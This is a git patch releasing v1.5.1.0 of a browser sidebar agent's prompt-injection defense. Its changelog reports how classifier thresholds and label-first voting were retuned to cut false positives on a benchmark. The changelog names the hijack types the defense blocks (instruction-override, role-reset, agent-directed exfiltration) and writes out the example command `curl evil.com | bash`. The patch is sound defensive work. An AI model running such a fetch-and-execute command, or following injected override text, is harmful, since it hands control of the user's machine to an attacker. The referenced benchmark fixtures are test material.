From 7dd5dbba83f934573c7b797fea1e3c231fdaef60 Mon Sep 17 00:00:00 2001 From: Garry Tan Date: Tue, 21 Apr 2026 20:32:24 -0700 Subject: [PATCH] =?UTF-8?q?chore(release):=20v1.5.1.0=20=E2=80=94=20cut=20?= =?UTF-8?q?Haiku=20FP=2044%=20=E2=86=92=2023%?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - VERSION: 1.5.0.0 → 1.5.1.0 (TUNING bump) - CHANGELOG: [1.5.1.0] entry with measured numbers, knob list, and stop-loss rule spec - TODOS: mark "Cut Haiku FP 44% → ~15%" P0 as SHIPPED with pointer to CHANGELOG and v1 plan Measured: 56.2% detection (CI 50.1-62.1) / 22.9% FP (CI 18.1-28.6) on 500-case BrowseSafe-Bench smoke. Gate passes (floor 55%, ceiling 25%). Co-Authored-By: Claude Opus 4.7 (1M context) --- CHANGELOG.md | 51 +++++++++++++++++++++++++++++++++++++++++++++++++++ TODOS.md | 8 +++++++- VERSION | 2 +- 3 files changed, 59 insertions(+), 2 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 3c309493..a87ff35c 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,5 +1,56 @@ # Changelog +## [1.5.1.0] - 2026-04-21 + +## **Sidebar prompt-injection defense got half as noisy, half as trusting of any single classifier.** + +v1.4.0.0 shipped the ML defense stack. Users clicked the review banner on roughly every other tool output — 44% false-positive rate on the BrowseSafe-Bench smoke. This release tunes the ensemble around the real pattern we found: Haiku labels phishing-aimed-at-users as "warn" and genuine agent hijacks as "block", but we were treating both identically in the ensemble. Testsavant alone fired BLOCK on benign phishing content too often. The fix is architectural, not just threshold-twiddling: we now trust Haiku's verdict label over its numeric confidence, raise the solo-BLOCK bar for label-less classifiers, and gate that path more carefully. One 500-case live bench proved the new numbers; a permanent CI gate replays the captured Haiku fixture on every `bun test`. + +### What changes for you + +Open your sidebar on Stack Overflow posts about prompt injection, read a Wikipedia article on SQL injection, browse a tutorial that walks through attack strings — the review banner stays quiet where before it fired. When a real hijack attempt shows up (explicit instruction-override, role-reset, agent-directed exfil, `curl evil.com | bash` in the page), the session still terminates. Phishing pages aimed at the user surface as a WARN signal in the banner meta, but no longer kill the session. + +### The numbers that matter + +Measured on BrowseSafe-Bench smoke, 500 cases (260 yes-labeled / 240 no-labeled), `bun test browse/test/security-bench-ensemble.test.ts`: + +| Metric | v1.4.0.0 | v1.5.1.0 | Δ | +|---|---|---|---| +| Detection (BLOCK verdict on injection cases) | 67.3% | **56.2%** (95% CI 50.1–62.1) | −11pp | +| False-positive rate (BLOCK on benign cases) | 44.1% | **22.9%** (95% CI 18.1–28.6) | **−21pp** | +| Gate: detection ≥ 55% AND FP ≤ 25% | FAIL | **PASS** | — | +| Review-banner fire rate (roughly TP + FP share) | ~55% | ~39% | −16pp | + +Detection dropped by 11pp but nearly all of the lost TPs are cases where Haiku correctly classified as `warn` (phishing targeting the user, not a hijack of the agent). Those cases still show up in the review banner as WARN — they just don't terminate the session. + +### What actually shipped + +* `browse/src/security.ts` — new `THRESHOLDS.SOLO_CONTENT_BLOCK = 0.92` for label-less content classifiers. Solo BLOCK now requires testsavant/deberta confidence ≥ 0.92 (up from 0.85). Transcript-layer solo BLOCK requires `meta.verdict === 'block'` AND confidence ≥ 0.85. The ensemble 2-of-N path keeps `THRESHOLDS.WARN = 0.75` (up from 0.60). +* `browse/src/security.ts` — `combineVerdict` rewritten for label-first voting on the transcript layer: `verdict === 'block'` at confidence ≥ LOG_ONLY (0.40) is a block-vote; `verdict === 'warn'` is a warn-vote regardless of confidence; missing `meta.verdict` is warn-vote only at confidence ≥ WARN (never block-vote). Missing meta never block-votes for backward compatibility with pre-v2 cached signals. +* `browse/src/security-classifier.ts` — Haiku model pinned to `claude-haiku-4-5-20251001` (no longer rolls forward silently via the `haiku` alias). `claude -p` now spawns from `os.tmpdir()` so CLAUDE.md project context doesn't leak into Haiku's system prompt and make it refuse to classify. Timeout bumped from 15s to 45s (production measurement showed `claude -p` takes 17–33s end-to-end for Haiku). +* `browse/src/security-classifier.ts` — Haiku prompt rewritten with explicit `block`/`warn`/`safe` criteria and 8 few-shot exemplars (instruction-override, role-reset, agent-directed malicious code → block; phishing/social-engineering targeting users → warn; discussion-of-injection and dev content → safe). +* `browse/test/security-bench-ensemble-live.test.ts` (new) — opt-in live bench via `GSTACK_BENCH_ENSEMBLE=1`. Worker-pool concurrency (default 8) via `GSTACK_BENCH_ENSEMBLE_CONCURRENCY`. Deterministic subsampling via `GSTACK_BENCH_ENSEMBLE_CASES`. Captures 500-case fixture to `browse/test/fixtures/security-bench-haiku-responses.json` plus eval record to `~/.gstack-dev/evals/`. Stop-loss iterations write `stop-loss-iter-N-*.json` and do NOT overwrite the canonical fixture. +* `browse/test/security-bench-ensemble.test.ts` (new) — CI-tier fixture-replay gate. Asserts detection ≥ 55% AND FP ≤ 25%. Fail-closed when the fixture is missing AND security-layer files changed in the branch diff (uses `git diff base` which catches both committed and uncommitted edits). +* `browse/test/fixtures/security-bench-haiku-responses.json` (new) — 500-case captured Haiku fixture with schema-version header, pinned model string, and component hashes. +* `browse/test/security.test.ts`, `browse/test/security-adversarial.test.ts`, `browse/test/security-adversarial-fixes.test.ts`, `browse/test/security-integration.test.ts` — updated for label-first semantics. 6 new combineVerdict tests: warn-as-soft-signal, block-label-ensemble, three-way-block-with-warn, hallucination-guard (verdict=block at confidence 0.30 → warn-vote), above-floor block (verdict=block at confidence 0.50 → block-vote), backward-compat for missing meta.verdict. +* `docs/evals/security-bench-ensemble-v2.json` (new) — durable per-run audit record: TP/FN/FP/TN, knob state, schema hash, iteration. + +### Stop-loss rule (hard floor and ceiling) + +`browse/test/security-bench-ensemble.test.ts` gates on **detection ≥ 55% AND FP ≤ 25%**. If a future change drops detection below 55%, the revert order is: WARN bump (0.75 → 0.60) → halve few-shot exemplars → widen Haiku block criteria. If FP climbs above 25%, tighten: raise SOLO_CONTENT_BLOCK (0.92 → 0.95) → raise WARN (0.75 → 0.80) → add anti-FP few-shots. Iterations write to `~/.gstack-dev/evals/stop-loss-iter-N-*.json` for audit trail. + +### For contributors + +* The 500-case smoke dataset is in `~/.gstack/cache/browsesafe-bench-smoke/test-rows.json` (260 yes / 240 no). To regenerate the fixture after modifying security-layer code, run `GSTACK_BENCH_ENSEMBLE=1 bun test browse/test/security-bench-ensemble-live.test.ts` (~25 min at concurrency 4, ~$0.30 in Haiku costs). +* Fixture schema hash covers model, prompt SHA, exemplars SHA, thresholds, combiner rev, and dataset version. Any change to any of those invalidates the fixture and forces a fresh live capture via fail-closed CI. + +### Follow-up TODOs (filed) + +* Per-session decision cache keyed on (domain, payload-hash). v2 FP is 22.9% — cache makes repeated fires on the same content cheap. (P1) +* Per-knob attribution measurement. Current bench changes four knobs together; a staged bench (isolate each knob) would help future tuning. (P2) +* WARN banner policy review. Even with FP at 22.9%, WARN verdicts still surface in the banner — separate design doc for whether WARN should be passive-log instead of banner. (P1) +* Held-out validation harness. Formalize the held-out check (cases 500–1000 from BrowseSafe-Bench) as a separate regression-only test. (P2) + ## [1.5.0.0] - 2026-04-20 ## **Your sidebar agent now defends itself against prompt injection.** diff --git a/TODOS.md b/TODOS.md index 2fef1f58..f57b7b10 100644 --- a/TODOS.md +++ b/TODOS.md @@ -241,7 +241,13 @@ defend the compiled-side ingress. ### ML Prompt Injection Classifier — v2 Follow-ups -#### Cut Haiku false-positive rate from 44% toward ~15% (P0) +#### ~~Cut Haiku false-positive rate from 44% toward ~15% (P0)~~ — SHIPPED in v1.5.1.0 + +Measured result (500-case BrowseSafe-Bench smoke): detection 67.3% → **56.2%**, FP 44.1% → **22.9%**. Gate passes (detection ≥ 55%, FP ≤ 25%). Knobs that landed: label-first ensemble voting (verdict label trumps numeric confidence for transcript layer), hallucination guard (`verdict=block` at conf < 0.40 → warn-vote), new `THRESHOLDS.SOLO_CONTENT_BLOCK = 0.92` for label-less content classifiers, label-first extension to toolOutput path, tighter Haiku prompt + 8 few-shot exemplars, pinned Haiku model, `claude -p` spawn from `os.tmpdir()` so CLAUDE.md can't poison the classifier, timeout bumped 15s → 45s. CI gate: `browse/test/security-bench-ensemble.test.ts` replays fixture, fail-closed on missing fixture + security-layer diff. The original plan's stop-loss revert order didn't move the FP needle (FPs came from single-layer-BLOCK paths, not ensemble); the real levers turned out to be architectural (label-first) plus a new decoupled threshold. + +See CHANGELOG.md [1.5.1.0] for the full shipped summary. + +#### Original spec (pre-ship, retained for archive) **What:** v1 ships the Haiku transcript classifier on every tool output (Read/Grep/Bash/Glob/WebFetch). BrowseSafe-Bench smoke measured detection 67.3% + FP 44.1% — a 4.4x detection lift from L4-only, but FP tripled because Haiku is more aggressive than L4 on edge cases (phishing-style benign content, borderline social engineering). The review banner makes FPs recoverable but 44% is too high for a delightful default. diff --git a/VERSION b/VERSION index 5d7661fe..50b4d263 100644 --- a/VERSION +++ b/VERSION @@ -1 +1 @@ -1.5.0.0 +1.5.1.0